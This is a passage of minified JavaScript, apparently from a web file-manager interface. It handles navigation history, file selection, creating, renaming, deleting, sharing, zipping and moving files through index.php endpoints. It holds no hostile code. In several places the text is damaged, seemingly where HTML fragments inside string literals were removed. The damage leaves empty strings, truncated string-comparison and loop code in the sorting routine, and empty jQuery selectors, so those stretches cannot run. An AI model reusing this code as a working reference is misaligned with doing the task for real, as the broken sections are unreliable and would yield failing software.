n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if(void 0==i&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html("
    "+l+"
    ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){if(e){var i=[];if(0==ui.fileLight.fileListSelect().length)return i;ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})});for(var t="",a=[],n=0;i.length>n;n++){var o=i[n].path;(""==t||0!=o.indexOf(t))&&(t=o,a.push(i[n]))}return a}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var s=ui.fileLight.fileListSelect(),r=ui.fileLight.path(s),l=ui.fileLight.type(s);return{path:r,type:l}},_=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:v,history:s,getJsondataCell:_,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(v().path)},appInstall:function(){i.appInstall(v().path)},openEditor:function(){t.openEditor(v().path)},openWindow:function(){var e=v();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=v(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=core.path2url(ui.fileLight.path($(this)),!1);e.push(t)}}),t.play(e,"music")}},pathOperate:i,share:function(){i.share(v())},setBackground:function(){var e=core.path2url(v().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=v(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(v().path,m)},download:function(){var e=v(!0);1==e.length&&"file"==e[0].type?t.download(v().path):i.zipDownload(e)},shareEdit:function(){var e=_("path",v().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=_("path",v().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=v(),i=_("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(v().path)},explorerNew:function(){window.open("index.php?/explorer&path="+v().path)},openProject:function(){core.explorerCode(v().path)},search:function(){core.search("",v().path)},fav:function(){var e=v(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e){if(n()){var t=v(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(t,function(e){var i=_("path",t[e].path);void 0!=i&&(t[e].type="share",t[e].path=i.sid)}),i.remove(t,m,e)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(v(!0))},cute:function(){n()&&i.cute(v(!0),ui.f5)},zip:function(){i.zip(v(!0),m)},unZip:function(e){n()&&i.unZip(v().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(v(!0),e,m)},copyDrag:function(e,t){i.copyDrag(v(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(v(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(v(!0),e,m)})},info:function(){i.info(v(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+v().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\"],t=function(e){var t=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1};return t(e,i)?(Tips.tips(LNG.pathDisable+":/ \\",!1),!1):!0},a=function(e){for(var i=[],t=function(e){return e.replace(/"/g,'\\\\"')},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"list="+jsonEncode(i)},n=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)a;a++)if(e.charAt(a)!=i.charAt(a)||isNaN(parseInt(e.charAt(a)))){e=e.substr(a),i=i.substr(a);break}var o=/(-?[0-9\.]+)/g,s=(""+e).toLowerCase()||"",r=(""+i).toLowerCase()||"",l=String.fromCharCode(0),c=s.replace(o,l+"$1"+l).split(l),d=r.replace(o,l+"$1"+l).split(l),p=new Date(s).getTime(),u=p?new Date(r).getTime():null;if(u){if(u>p)return-1;if(p>u)return 1}for(var f=0,h=Math.max(c.length,d.length);h>f;f++)if(oFxNcL=parseFloat(c[f])||c[f],oFyNcL=parseFloat(d[f])||d[f],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var m=n(oFxNcL,oFyNcL);if(0!=m)return m}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},s=function(e,i){if(e){var a=core.pathThis(e);return t(a)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},r=function(e,i){if(e){var a=core.pathThis(e);return t(a)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){"function"==typeof i&&(Tips.close(e),i(e.info))}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i,a){return e&&i&&e!=i?t(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof a&&a(e.info)}}),void 0):("function"==typeof a&&a(),void 0):void 0},c=function(e,i,t){if(!(1>e.length)){var n=LNG.remove_title,o=LNG.remove_info,s="index.php?explorer/pathDelete",r=a(e);"share"==e[0].type&&(o=LNG.share_remove_tips,s="index.php?userShare/del",n=LNG.share_remove),(G.this_path==G.USER_RECYCLE||"recycle_clear"==e[0].type)&&(o=LNG.recycle_clear_info,s="index.php?explorer/pathDeleteRecycle",n=LNG.recycle_clear,"recycle_clear"==e[0].type&&(r={})),e.length>1&&(o+=' ... '+e.length+"");var l=function(){$.ajax({url:s,type:"POST",dataType:"json",data:r,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}n==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t===!0?l():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:n,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:o,ok:l,cancel:!0})}},d=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},p=function(e){var i=e.path,t="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)Tips.tips("该分享已存在",!0),u(e.data);else{G.self_share=e.info;var a={path:i,type:t,name:core.pathThis(i)};f(a,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(t),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==t&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},u=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){h(i),void 0!=t&&t()})},f=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},h=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){c([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),f(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},m=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,i,t,a,n){if(!(1>e.length)){var o,s=G.myhome+"/desktop/";a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},_=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},g=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},b=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},y=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var n="info";1==i.length&&(n="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(a(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var a="path_info_more",o=LNG.info;1==i.length&&(a="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[a]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(n),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,i)})},x=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var n=t.find(".file_md5_loading");if(1==n.length){var i=a(i);i+="&get_md5=1",core.fileInfo(i,function(e){n.removeClass("file_md5_loading"),e.code?n.html(e.data.file_md5):n.html(LNG.error)})}var o=t.find("input.download_url"),s=o.get(0);o.unbind("hover click").bind("hover click",function(){$(this).focus();var e=o.val().length;if($.browser.msie){var i=s.createTextRange();i.moveEnd("character",-s.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else s.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:a(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},k=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},w=function(e,i){1>e.length||$.ajax({url:"index.php?explorer/zip",type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},L=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},N=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},C=function(e,i,t,n){i&&(void 0==n&&(n=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},T=function(){var e=function(e,i){var t='
    null!
    ';if(0!=e.length){t='
    '+LNG.clipboard_state+LNG[i]+"
    ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="
    "+o.type+": "+s+""}t+="
    "}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},S=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},z=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},P=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},E=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(z(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=z(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] 